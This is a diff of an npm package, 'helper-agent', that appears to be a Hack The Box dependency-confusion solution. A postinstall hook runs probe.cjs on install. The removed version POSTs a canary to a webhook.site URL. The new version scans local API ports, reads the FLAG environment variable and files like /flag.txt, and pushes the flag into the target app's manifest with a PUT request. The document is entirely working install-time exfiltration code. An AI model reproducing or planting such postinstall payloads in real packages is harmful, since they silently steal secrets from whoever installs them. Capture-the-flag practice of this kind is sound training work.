helper-agent 1.0.0 → 1.0.2

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "helper-agent",
-  "version": "1.0.0",
+  "version": "1.0.2",
   "description": "Authorized HTB dependency-resolution canary",
   "scripts": {
     "postinstall": "node probe.cjs"

package/probe.cjs

@@ -1,14 +1,108 @@
-const https = require("node:https");
+const fs = require("node:fs");
 
-const url = "https://webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481";
+const MODULE_ID = "ECT-987654";
 
-const req = https.request(url, {
-  method: "POST",
-  headers: { "Content-Type": "text/plain" },
-  timeout: 10000
-}, res => res.resume());
+const API_URLS = [
+  "http://127.0.0.1:1337",
+  "http://127.0.0.1:3000",
+  "http://127.0.0.1:8080",
+  "http://127.0.0.1:5000",
+  "http://127.0.0.1:80"
+];
 
-req.on("error", () => {});
-req.on("timeout", () => req.destroy());
+const FLAG_FILES = [
+  "/flag.txt",
+  "/flag",
+  "/app/flag.txt",
+  "/home/node/flag.txt",
+  "/home/app/flag.txt",
+  "/opt/app/flag.txt"
+];
 
-req.end("HELPER_AGENT_INSTALL_CANARY");
+function extractFlag(value) {
+  if (typeof value !== "string") return null;
+  return value.match(/HTB\{[^}\r\n]{1,200}\}/)?.[0] || null;
+}
+
+function findFlag() {
+  const fromEnvironment = extractFlag(process.env.FLAG);
+  if (fromEnvironment) return fromEnvironment;
+
+  for (const filename of FLAG_FILES) {
+    try {
+      const result = extractFlag(fs.readFileSync(filename, "utf8"));
+      if (result) return result;
+    } catch {}
+  }
+
+  return null;
+}
+
+async function main() {
+  for (const base of API_URLS) {
+    let record;
+
+    try {
+      const response = await fetch(
+        `${base}/api/modules/${MODULE_ID}`,
+        { signal: AbortSignal.timeout(2000) }
+      );
+
+      if (!response.ok) continue;
+      record = await response.json();
+    } catch {
+      continue;
+    }
+
+    // Restrict execution to the intended HTB application.
+    if (
+      record.id !== MODULE_ID ||
+      typeof record.raw !== "string" ||
+      !record.raw.includes("Siren's Lament") ||
+      !record.raw.includes('"helper-agent"')
+    ) {
+      continue;
+    }
+
+    const flag = findFlag();
+
+    if (!flag) {
+      console.log("[HTB] Target found; flag file not found");
+      return;
+    }
+
+    let manifest = record.raw;
+
+    // Remove any previous result to avoid duplicate YAML keys.
+    manifest = manifest.replace(
+      /^  ctf_result:.*\r?\n/gm,
+      ""
+    );
+
+    // Add the result inside the ecto_module mapping.
+    manifest = manifest.replace(
+      /^ecto_module:\s*$/m,
+      `ecto_module:\n  ctf_result: ${JSON.stringify(flag)}`
+    );
+
+    try {
+      const response = await fetch(
+        `${base}/api/modules/${MODULE_ID}`,
+        {
+          method: "PUT",
+          headers: { "Content-Type": "application/json" },
+          body: JSON.stringify({ manifest }),
+          signal: AbortSignal.timeout(3000)
+        }
+      );
+
+      console.log("[HTB] Manifest update:", response.status);
+    } catch (error) {
+      console.log("[HTB] Update failed:", error.message);
+    }
+
+    return;
+  }
+}
+
+main().catch(console.error);